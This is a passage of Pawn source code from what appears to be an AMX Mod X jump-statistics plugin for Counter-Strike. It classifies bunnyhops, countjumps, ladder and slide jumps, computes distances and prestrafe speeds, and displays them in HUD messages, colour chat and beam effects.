					start[id][1]=origin[1]-16.0;
					start[id][2]=origin[2];
					end[id][0]=origin[0];
					end[id][1]=origin[1]-16.0;
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][1]);
					
					start[id][0]=origin[0]+16.0;
					start[id][1]=origin[1];
					start[id][2]=origin[2];
					end[id][0]=origin[0]+16.0;
					end[id][1]=origin[1];
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][2]);
					
					start[id][0]=origin[0]-16.0;
					start[id][1]=origin[1];
					start[id][2]=origin[2];
					end[id][0]=origin[0]-16.0;
					end[id][1]=origin[1];
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][3]);
					
					for(new i=0;i<4;i++)
					{		
						if(i!=3)
						{
							if(slidez[id][i][2]>slidez[id][i+1][2])
							{
								needslide[id]=slidez[id][i][2];
								groundslide[id]=slidez[id][i+1][2];
							
								if(needslide[id]-groundslide[id]>149.0 && landslide[id]==false)
								{
									landslide[id]=true;
									pev(id, pev_origin, origin);
									if( !(is_user_ducking(id)) )
									{
										origin[2]-=36.0;
									}
									else origin[2]-=18.0;
									
									slideland[id]=origin[2];
									slidedist[id]=slideland[id]-groundslide[id];
									maxspeed[id]=speed[id];
								}
							}
						}
					}
				
					if(taskslide[id]==0)
					{
						set_task(0.4,"wait", id+3313);
						taskslide[id]=1;
					}
					
					pev(id, pev_velocity, velocity);
					if(velocity[1]==0.0 && failslide[id]==false && !(flags&FL_ONGROUND) && waits[id]==1 )
					{
						if( !(is_user_ducking(id)) )
						{
							origin[2]-=36.0;
						}
						else origin[2]-=18.0;
						failslidez[id]=origin[2];
						failslide[id]=true;			
					}
				}
				
				if(flags&FL_ONGROUND && slidim[id]==true && Pmaxspeed == 250.0)
				{
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{
							if(needslide[id]-groundslide[id]==slidedist[id])
							{
								client_print(i, print_console, "Slide Distance: %d.xxx",floatround(slidedist[id], floatround_floor));
								set_hudmessage( stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );	
								show_hudmessage( i, "Slide Distance: %d.xxx",floatround(slidedist[id], floatround_floor));
							}
							else
							{
								client_print(i, print_console, "Slide Distance: %f",slidedist[id]);
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );	
								show_hudmessage( i, "Slide Distance: %f",slidedist[id]);
							}
						}
					}
									
					new iPlayers[32],iNum; 
					get_players ( iPlayers, iNum,"ch") ;
					for(new i=0;i<iNum;i++) 
					{ 
						new ids=iPlayers[i]; 
						if(gHasColorChat[ids] ==true || ids==id)
						{
							if(needslide[id]-groundslide[id]==slidedist[id])
							{
								ColorChat(ids, GREY, "[%s] %s jumped %d.xxx units with Slide lj!^x01%s",prefix, g_playername[id], floatround(slidedist[id], floatround_floor),airacel[id]);
							}
							else 
							ColorChat(ids, GREY, "[%s] %s jumped %.3f units with Slide lj!^x01%s",prefix, g_playername[id], slidedist[id],airacel[id]);				
						}
					}
										
					slidim[id]=false;
					groundslide[id]=0.0;
					waits[id]=0;
					slidim[id]=false;
					taskslide[id]=0;
					taskslide1[id]=0;
					
					message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
					write_byte ( TE_BEAMPOINTS );
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]));
					write_coord(floatround(slideland[id]));
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]+52.0));
					write_coord(floatround(slideland[id]));
				
					write_short(gBeam);
					write_byte(1);
					write_byte(5);
					write_byte(1130);
					write_byte(20);
					write_byte(0);
					write_byte(255);
					write_byte(0);
					write_byte(0);
					
					write_byte(200);
					write_byte(200);
					message_end();
					landslide[id]=false;
				}
				if((failslide[id]==true) && slidim[id]==true)
				{
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{
							client_print(i, print_console, "Slide Distance: %f Prestrafe: %f",failslidez[id]-groundslide[id],prestrafe[id]);
					
							set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
							show_hudmessage( i, "Slide Distance: %f^nPrestrafe: %f",failslidez[id]-groundslide[id],prestrafe[id]);
						}
					}
					
					message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
					write_byte ( TE_BEAMPOINTS );
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]));
					write_coord(floatround(failslidez[id]));
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]+52.0));
					write_coord(floatround(failslidez[id]));
					
					write_short(gBeam);
					write_byte(1);
					write_byte(5);
					write_byte(1130);
					write_byte(20);
					write_byte(0);
					write_byte(255);
					write_byte(0);
					write_byte(0);
					
					write_byte(200);
					write_byte(200);
					message_end();
			
					failslide[id]=false;
					slidim[id]=false;
					groundslide[id]=0.0;
					waits[id]=0;
					taskslide[id]=0;
					taskslide1[id]=0;
				}
			
				if( (in_air[id]==true || in_bhop[id] == true) && !(flags&FL_ONGROUND) )
				{
					static i;
					for( i = INFO_ZERO; i < 2; i++ )
					{
						if( (i == 1) 
						|| (frame_origin[id][i][0] == 0
						&& frame_origin[id][i][1] == 0
						&& frame_origin[id][i][2] == 0 
						&& frame_velocity[id][i][0] == 0
						&& frame_velocity[id][i][1] == 0
						&& frame_velocity[id][i][2] == 0 )) 
						{
							frame_origin[id][i][0] = origin[0];
							frame_origin[id][i][1] = origin[1];
							frame_origin[id][i][2] = origin[2];
							
							pev(id, pev_velocity, velocity);
							frame_velocity[id][i][0] = velocity[0];
							frame_velocity[id][i][1] = velocity[1];
							frame_velocity[id][i][2] = velocity[2];
							i=2;
						}
					}
					
				}
				
				if( (in_air[id]) && !( flags & FL_ONGROUND ) && !failed_jump[id])
				{	
					if(uq_script_detection)
					{
						new Float:angles[3];
						pev(id,pev_angles,angles);
						
						if(floatabs(angles[0]-old_angles[id][0])==0.0)
						{
							angles_arry[id]++;
						}
						//if()
						//{
						//	angles_arry1[id]++;
						//}
						
						//client_print(id,print_chat,"%f",floatabs(vector_length(angles)-vector_length(old_angles[id])));	
					
						old_angles[id]=angles;
					}
					
					new Float:jh_origin;
					
					jh_origin=origin[2];
					
					if(floatabs(jumpoff_origin[id][2]-jh_origin)<oldjump_height[id] && jheight[id]==0.0)
					{
						
						if(is_user_ducking(id))
						{
							jheight[id]=oldjump_height[id]+18.0;
						}
						else jheight[id]=oldjump_height[id];
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{	
								if(jheight_show[i]==true )
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE39",jheight[id]);
									
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_PRE39",jheight[id]);
								}
							}
						}
						
						if(!direct_for_strafe[id])
						{
							if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
							{
								direct_for_strafe[id]=1;
							}
							else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
							{
								direct_for_strafe[id]=2;
							}
							else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
							{
								direct_for_strafe[id]=3;
							}
							else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
							{
								direct_for_strafe[id]=4;
							}
						}
					}
					
					
					
					oldjump_height[id]=floatabs(jumpoff_origin[id][2]-origin[2]);
					
					if(bug_check[id]==0 && floatfract(velocity[2])==0)
					{
						bug_check[id]=1;
					}
					else if(bug_check[id]==1 && floatfract(velocity[2])==0)
					{
						bug_true[id]=true;
						bug_check[id]=0;
					}
					if( !in_bhop[id] )
					{
						fnSaveBeamPos( id );
					}
					static Float:old_speed[33];
					if( speed[id] > old_speed[id] )
					{
						frames_gained_speed[id]++;
					}
					frames[id]++;
					
					old_speed[id] = speed[id];
			
					if( speed[id] > maxspeed[id] )
					{
						if (strafe_num[id] < NSTRAFES)
						{
							strafe_stat_speed[id][strafe_num[id]][0] += speed[id] - maxspeed[id];
						}
						maxspeed[id] = speed[id];
					}
					if ((speed[id] < TempSpeed[id]) && (strafe_num[id] < NSTRAFES))
					{
						strafe_stat_speed[id][strafe_num[id]][1] += TempSpeed[id] - speed[id];
						if(strafe_stat_speed[id][strafe_num[id]][1]>5)
						{
							if(floatabs(firstvel[id]-secvel[id])<SurfFrames[id]-0.1)
							{
								Checkframes[id]=true;
							}
							else if(floatabs(firstvel[id]-secvel[id])>SurfFrames[id])
							{
								Checkframes[id]=true;
							}
						}
						
						
					}
					TempSpeed[id] = speed[id];
					
					if((origin[2] + 18.0 - jumpoff_origin[id][2] < 0))
					{
						failed_jump[id] = true;
					}
					else if( (is_user_ducking(id) ? (origin[2]+18) : origin[2]) >= jumpoff_origin[id][2] )
					{
						failed_origin[id] = origin;
						failed_ducking[id] = is_user_ducking( id );
						failed_velocity[id] = velocity;
						
						origin[2] = pre_jumpoff_origin[id][2];	
					}
					if( first_frame[id] ) 
					{
						first_frame[id] = false;
						frame_velocity[id][0] = velocity;
						
						gBeam_count[id] = 0;
						for( new i = 0; i < 100; i++ )
						{
							gBeam_points[id][i][0]	= 0.0;
							gBeam_points[id][i][1]	= 0.0;
							gBeam_points[id][i][2]	= 0.0;
							gBeam_duck[id][i]	= false;
							gBeam_button[id][i]=false;
						}
						
						if(in_bhop[id] && jump_type[id]!=Type_DuckBhop)
						{
							if(upBhop[id])
							{
								if(jump_type[id]==Type_Up_Bhop_In_Duck)
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_UBID");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_UBID");
								}
								else if(velocity[2] < upbhop_koeff[id])
								{
									jump_type[id]=Type_Up_Bhop;
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_UBJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_UBJ");
								}
								else
								{
									jump_type[id]=Type_Up_Stand_Bhop;
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_USBJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_USBJ");
								}
								upBhop[id]=false;
							}
							else if(jump_type[id]==Type_Bhop_In_Duck)
							{
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_BID");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_BID");
							}
							else if( velocity[2] < 229.0)
							{
								jump_type[id] = Type_BhopLongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_BJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_BJ");
							}
							else 
							{
							
								jump_type[id] = Type_StandupBhopLongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SBJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SBJ");
								jumpoff_origin[id][2] = pre_jumpoff_origin[id][2];
							}
							
							for( new i = INFO_ONE; i < max_players; i++ )
							{
								if( (i == id || is_spec_user[i]))
								{	
									if(showpre[i]==true && prestrafe[id]>min_prestrafe[id])
									{
										if((Pmaxspeed * 1.2)>prestrafe[id] )
										{
											if(jump_type[id]==Type_Up_Bhop_In_Duck && (uq_upbhopinduck==1 ))
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE33",prestrafe[id]);
											}
											else if(jump_type[id]==Type_Up_Bhop && (uq_upbj==1 ))
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE34",prestrafe[id]);
											}
											else if(jump_type[id]==Type_Up_Stand_Bhop && (uq_upsbj==1 ))
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE35",prestrafe[id]);
											}
											else if(jump_type[id]==Type_Bhop_In_Duck   &&  uq_bhopinduck==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE36",prestrafe[id]);
											}
											else if(jump_type[id]==Type_BhopLongJump   &&  uq_bj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE37",prestrafe[id]);
											}
											else if(jump_type[id]==Type_StandupBhopLongJump  && uq_sbj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE38",prestrafe[id]);
											}
										}
										else
										{	
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
										}
									}
								}
							}
						}
						else if(jump_type[id]==Type_DuckBhop)
						{
							for( new i = INFO_ONE; i < max_players; i++ )
							{
								if( (i == id || is_spec_user[i]))
								{	
									if(showpre[i]==true && speed[id]>50.0)
									{
										if((Pmaxspeed * 1.2)>speed[id] )
										{
											if(prestrafe[id]<200)
											{
												if(jump_type[id]==Type_DuckBhop && (uq_duckbhop==1))
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE32",prestrafe[id]);
												}
											}
										}
									}
								}
							}
						}
					} 
					else
					{	
						frame_velocity[id][1] = velocity;
					}
					
					if( in_bhop[id] )
						fnSaveBeamPos( id );
			
					if(detecthj[id]!=1)
					{	
						starthj[id][0] = origin[0];
						starthj[id][1] = origin[1];
						starthj[id][2] = jumpoff_origin[id][2]+28.0;
						stophj[id][0] = origin[0];
						stophj[id][1] = origin[1];
						stophj[id][2] = starthj[id][2] - 133.0; 
							
						engfunc( EngFunc_TraceLine, starthj[id], stophj[id], IGNORE_MONSTERS, id, 0 );
						get_tr2( 0, TR_vecEndPos, endhj[id]);
						
						if(starthj[id][2]-endhj[id][2]<133.0 && (starthj[id][2]-endhj[id][2]-64)!=0 && (starthj[id][2]-endhj[id][2]-64)>0 && detecthj[id]!=1)
						{
							detecthj[id]=2;
						}
						
						if(starthj[id][2]-endhj[id][2]>=133.0 && detecthj[id]!=2)
						{
							detecthj[id]=1;
						}
					}
					
					if(ddafterJump[id])
						ddafterJump[id]=false;	
				}
				
				if(notjump[id] && bhopaem[id])
				{
					notjump[id]=false;
				}
				
				if( flags&FL_ONGROUND )
				{
					surf[id]=0.0;
					if (!pev( id, pev_solid ))
					{
						static ClassName[32];
						pev(pev(id, pev_groundentity), pev_classname, ClassName, 32);
			
						if( equali(ClassName, "func_train")
							|| equali(ClassName, "func_conveyor") 
							|| equali(ClassName, "trigger_push") || equali(ClassName, "trigger_gravity"))
						{
							JumpReset(id,32);
							set_task(0.4,"JumpReset1", id);
						}
						else if(equali(ClassName, "func_door") || equali(ClassName, "func_door_rotating") )
						{
							JumpReset(id,33);
							set_task(0.4,"JumpReset1", id);	
						}
					}
					
					pev(id, pev_origin, origin);
					notjump[id]=true;
					if(is_user_ducking(id))
					{
						falloriginz[id]=origin[2]+18;
					}
					else falloriginz[id]=origin[2];
					
					if( OnGround[id] == false)
					{	
						if (dropbhop[id] || in_ladder[id] || jump_type[id] == Type_WeirdLongJump || jump_type[id]==Type_ladderBhop || jump_type[id]==Type_Drop_BhopLongJump)
						{
							FallTime[id]=get_gametime();
							
						}
						OnGround[id] = true;
					}
				}
				
				if( !(flags&FL_ONGROUND) && notjump[id]==true && (movetype[id] != MOVETYPE_FLY) && jump_type[id]!=Type_ladderBhop )//&& jump_type[id] != Type_Drop_CountJump)
				{	
					pev(id, pev_origin, origin);
			
					OnGround[id] = false;
					
					pev(id, pev_velocity, velocity);
					
					new Float:tempfall;
					
					if(is_user_ducking(id))
					{
						tempfall=origin[2]+18;
					}
					else tempfall=origin[2];
					
					if( falloriginz[id]-tempfall>1.0 && !cjjump[id] && (ddforcj[id] || jump_type[id] == Type_Drop_CountJump || jump_type[id] == Type_StandUp_CountJump || jump_type[id] == Type_None || jump_type[id] == Type_CountJump || jump_type[id] == Type_Multi_CountJump || jump_type[id] == Type_Double_CountJump))
					{
						oldjump_type[id]=0;
			
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
						
						if(ddforcj[id])
						ddforcj[id]=false;
						
						jump_type[id] = Type_WeirdLongJump;
						
					}
					
					if (velocity[2] == -240.0)
					{
						oldjump_type[id]=0;
						ddbeforwj[id]=true;
						jump_type[id] = Type_WeirdLongJump;
						
						
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DDWJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DDWJ");
					}
				}
				else if(!(flags&FL_ONGROUND) && notjump[id]==false && (movetype[id] != MOVETYPE_FLY) && in_ladder[id]==false && jump_type[id] != Type_Slide)
				{
					oldjump_type[id]=0;
					OnGround[id] = false;
			
					pev(id, pev_velocity, velocity);
					pev(id, pev_origin, origin);
					
					new Float:drbh;
					if(is_user_ducking(id))
					{
						drbh=origin[2]+18;
					}
					else drbh=origin[2];
			
					if(dropbjorigin[id][2]-drbh>2.0)
					{
						if(dropbjorigin[id][2]-drbh<30 && jump_type[id] != Type_Drop_BhopLongJump && jump_type[id] != Type_None)
						{
							old_type_dropbj[id]=jump_type[id];
							formatex(Jtype_old_dropbj[id],32,Jtype[id]);
							formatex(Jtype_old_dropbj1[id],32,Jtype1[id]);
						}
						
						jump_type[id] = Type_Drop_BhopLongJump;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRBJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRBJ");
						nextbhop[id]=false;
						bhopaem[id]=false;
						dropbhop[id]=true;
					}
				}
				
				if( movetype[id] == MOVETYPE_FLY) 
				{
					OnGround[id] = false;
					firstvel[id]=8.0;
					secvel[id]=0.0;
					checkladdertime[id]=get_gametime();
				}
				if( movetype[id] == MOVETYPE_FLY && firstladder[id]==false) 
				{
					firstladder[id]=true;
					nextbhop[id]=false;
					bhopaem[id]=false;
					h_jumped[id]=false;
					JumpReset(id,34);
					return FMRES_IGNORED;
				}
				if( movetype[id] != MOVETYPE_FLY && firstladder[id]==true && flags&FL_ONGROUND) 
				{
					firstladder[id]=false;
				}
				if( (movetype[id] == MOVETYPE_FLY) &&  (button&IN_FORWARD || button&IN_BACK || button&IN_LEFT || button&IN_RIGHT ) )
				{
					ladderjump[id]=true;
					find_sphere_class (id, "func_ladder",18.0, entlist1, 1);
					
					if(entlist1[0]!=0)
					{
						for(new i=0;i<nLadder;i++)
						{
							if(entlist[i]==entlist1[0])
							{
								nashladder=i;	
							}
						}
					}
			
					prestrafe[id]	= speed[id];
					maxspeed[id]	= speed[id];
				}
				
				if( (movetype[id] == MOVETYPE_FLY) &&  button&IN_JUMP )
				{
					jump_type[id]=Type_ladderBhop;
					formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LDBJ");
					formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LDBJ");
					ladderjump[id]=false;
					in_air[id]=false;
					in_ladder[id]=false;
					bhopaem[id]=false;
					notjump[id]=true;
					dropbhop[id]=false;		
				}
				
				if( movetype[id] != MOVETYPE_FLY && ladderjump[id]==true)
				{
					if(touch_ent[id])
					{
						JumpReset(id,103);
					}
					notjump[id]=true;
					dropbhop[id]=false;
					pev(id, pev_origin, origin);
					jumpoff_origin[id] = origin;
					jumpoff_origin[id][2]=ladderxyz[nashladder][2]+35.031250;
					
					jumpoff_time[id] = get_gametime( );
					strafecounter_oldbuttons[id] = INFO_ZERO;
					
					jump_type[id]=Type_ladder;
					laddertime[id]=get_gametime();
			
					formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LDJ");
					formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LDJ");
					
					if(laddersize[nashladder][0]<=laddersize[nashladder][1])
					{
						laddist[id]=laddersize[nashladder][0]+0.03125;
					}
					else if(laddersize[nashladder][0]>laddersize[nashladder][1])
					{
						laddist[id]=laddersize[nashladder][1]+0.03125;
					}
					
					if(laddist[id]>10)
					{
						laddist[id]=4.0;
					}
					ladderjump[id]=false;	
					TempSpeed[id] = 0.0;
					static i;
					for( i = INFO_ZERO; i < NSTRAFES; i++ )
					{
						strafe_stat_speed[id][i][0] = 0.0;
						strafe_stat_speed[id][i][1] = 0.0;
						strafe_stat_sync[id][i][0] = INFO_ZERO;
						strafe_stat_sync[id][i][1] = INFO_ZERO;
						strafe_stat_time[id][i] = 0.0;
						strafe_lost_frame[id][i] = 0;
						
					}
					in_air[id]	= true;
					in_ladder[id]=true;
					g_Jumped[id]	= true;
					first_frame[id] = true;
					
					turning_right[id] = false;
					turning_left[id] = false;
					
					for( i = INFO_ZERO; i < 2; i++ )
					{
						frame_origin[id][i][0] = 0.0;
						frame_origin[id][i][1] = 0.0;
						frame_origin[id][i][2] = 0.0;
						
						frame_velocity[id][i][0] = 0.0;
						frame_velocity[id][i][1] = 0.0;
						frame_velocity[id][i][2] = 0.0;
					}
					for( i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							if(showpre[id]==true && uq_ladder==1 )
							{
								set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.0, 0.1, 0.1, h_prest);
								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE31",prestrafe[id]);
							}
						}
					}
				}
				
				
				if((button & IN_JUMP && flags & FL_ONGROUND) || in_ladder[id])
				{
					x_jump[id]=true;
					if(is_user_ducking(id))
					{
						x_heightland_origin[id]=origin[2]+18;
					}
					else x_heightland_origin[id]=origin[2];
				}
				
				if((x_jump[id]==true || in_ladder[id]) && button & IN_DUCK && !(oldbuttons &IN_DUCK) && flags & FL_ONGROUND )
				{
					if(x_jump[id])
					{
						x_jump[id]=false;
						
						new Float:heightland_origin;
						if(is_user_ducking(id))
						{
							heightland_origin=origin[2]+18;
						}
						else heightland_origin=origin[2];
						if(heightland_origin-x_heightland_origin[id]>0 && !in_ladder[id])
						{
							JumpReset(id,45);
							
							UpcjFail[id]=true;
								
							return FMRES_IGNORED;
						}
						
						if(bhopaem[id] && !ddforcjafterbhop[id])
						{
							ddforcjafterbhop[id]=true;
						}
						else ddforcjafterbhop[id]=false;
						
						if(in_ladder[id] && !ddforcjafterladder[id])
						{
							ddforcjafterladder[id]=true;
						}
						else ddforcjafterladder[id]=false;
						
						ddforcj[id]=true;
					}
					
				}
				
				if(cjjump[id]==false && (button & IN_DUCK || oldbuttons & IN_DUCK) && (jump_type[id] == Type_Drop_CountJump || ddforcj[id] || ddafterJump[id] || jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump))
				{
					if(origin[2]-duckstartz[id]<-1.21 && origin[2]-duckstartz[id]>-2.0)
					{
						if(ddstandcj[id])
						{
							nextbhop[id]=false;
							bhopaem[id]=false;
						}
						if(jump_typeOld[id]==1)
						{
							multiscj[id]=0;	
						}
						else if(jump_typeOld[id]==2)
						{
							multiscj[id]=1;	
						}
						else if(jump_typeOld[id]==3)
						{
							multiscj[id]=2;	
						}
						jump_type[id] = Type_StandUp_CountJump;
												
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SCJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SCJ");
							
						FallTime[id]=get_gametime();
					}
				}
				if( button & IN_DUCK && !(oldbuttons &IN_DUCK) && flags & FL_ONGROUND)
				{
					nextbhop[id]=false;
					bhopaem[id]=false;
					doubleduck[id]=true;
					
					sync_doubleduck[id]=true;
					
					doubletime[id]=get_gametime();
					FallTime1[id]=get_gametime();
					ddnum[id]++;
				}
				if(sync_doubleduck[id] && g_Jumped[id])
				{
					sync_doubleduck[id]=false;
					doubleduck_stat_sync[id][0]=0;
					doubleduck_stat_sync[id][1]=0;
				}
				if(flags & FL_ONGROUND)
				{
					if(duckstartz[id]-origin[2]<18.0 && doubleduck[id]==true && (get_gametime()-doubletime[id]>0.4) && ddbeforwj[id]==false && (jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump))
					{
						JumpReset(id,2);
						doubleduck[id]=false;
					}	
				}
				pev(id, pev_origin, origin);
				
				if(slide_protec[id]==false && button & IN_JUMP && !( oldbuttons & IN_JUMP ) && flags & FL_ONGROUND && bhopaem[id]==false && UpcjFail[id]==false)
				{	
					bhop_num[id]=0;
					notjump[id]=false;
					if(ddforcj[id]==true)
					{
						if(jump_type[id] == Type_StandUp_CountJump)
						{
							ddstandcj[id]=true;
						}
							
						ddforcj[id]=false;
							
						if(jump_type[id] != Type_StandUp_CountJump && (jump_type[id]!=Type_Drop_CountJump || ddforcjafterladder[id]))
						{
							if(ddnum[id]==1)
							{
								jump_type[id]=Type_CountJump;
								CjafterJump[id]=1;
							}
							else if(ddnum[id]==2)
							{
								jump_type[id] = Type_Double_CountJump ;
								CjafterJump[id]=2;
							}
							else if(ddnum[id]>=3)
							{
								jump_type[id] = Type_Multi_CountJump;
								CjafterJump[id]=3;
							}
							
							ddnum[id]=0;
							nextbhop[id]=false;
							bhopaem[id]=false;
						}
					}
					
					oldjump_height[id]=0.0;
					jheight[id]=0.0;
					
					if(nextbhop[id] && ddafterJump[id]==false)
					{
						FullJumpFrames[id]=0;
						direct_for_strafe[id]=0;
						angles_arry[id]=0;
						
						if(uq_istrafe)
						{
							for(new i=0;i<=line_erase_strnum[id];i++)
							{
								for( new j = 0; j <= line_erase[id][i]; j++ )
								{
									line_lost[id][i][j]=0;
									lost_frame_count[id][i]=0;
								}
							}
						}
						
						edgedone[id]=false;
						if(get_gametime()-checkladdertime[id]<0.5)
						{
							ladderbug[id]=true;
						}
						
						if(touch_ent[id])
						{
							JumpReset(id,105);
						}
						ddnum[id]=0;
						
						if(cjjump[id]==true && (get_gametime()-duckoff_time[id])<0.2)
						{
							JumpReset(id,35);
							return FMRES_IGNORED;
							
						}
					
						if(oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==true && (jump_type[id]==Type_HighJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_None))
						{
							jump_type[id]=Type_DuckBhop;
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DKBJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DKBJ");
							duckbhop[id]=false;
						}
						
						bhopaem[id]=true;
						
						pev(id, pev_origin, origin);
						static bool:ducking;
						ducking = is_user_ducking( id ); 
						strafecounter_oldbuttons[id] = INFO_ZERO;
					
						strafe_num[id] = 0;
						TempSpeed[id] = 0.0;
						in_bhop[id] = true;
						pre_jumpoff_origin[id] = jumpoff_origin[id];
						jumpoff_foot_height[id] = ducking ? origin[2] - 18.0 : origin[2] - 36.0; //todo:think about this gavno
						
						jumpoff_time[id] = get_gametime( );
						
						new Float:checkbhop;
						
						if(is_user_ducking(id)==true)
						{
							checkbhop=jumpoff_origin[id][2]-origin[2]-18.0;
						}
						else checkbhop=jumpoff_origin[id][2]-origin[2];
						
						if(checkbhop<-1.0)
						{
							if(button & IN_DUCK )
							{
								jump_type[id]=Type_Up_Bhop_In_Duck;
							}
							upbhop_koeff[id]=UpBhop_calc(floatabs(checkbhop));
							upheight[id]=floatabs(checkbhop);
							upBhop[id]=true;
						}
						else if(jump_type[id]!=Type_DuckBhop)
						{
							if(button & IN_DUCK )
							{
								jump_type[id]=Type_Bhop_In_Duck;
							}
						}
						
						jumpoff_origin[id] = origin;
						if(is_user_ducking( id )==true)
						{
							
							jumpoff_origin[id][2] = origin[2]+18.0;
						}
						else jumpoff_origin[id][2] = origin[2];
						
						pev(id, pev_velocity, velocity);
						first_frame[id] = true;
						
						prestrafe[id] = speed[id];
						maxspeed[id] = speed[id];
						
						static i;
						for( i = INFO_ZERO; i < NSTRAFES; i++ )
						{
							strafe_stat_speed[id][i][0] = 0.0;
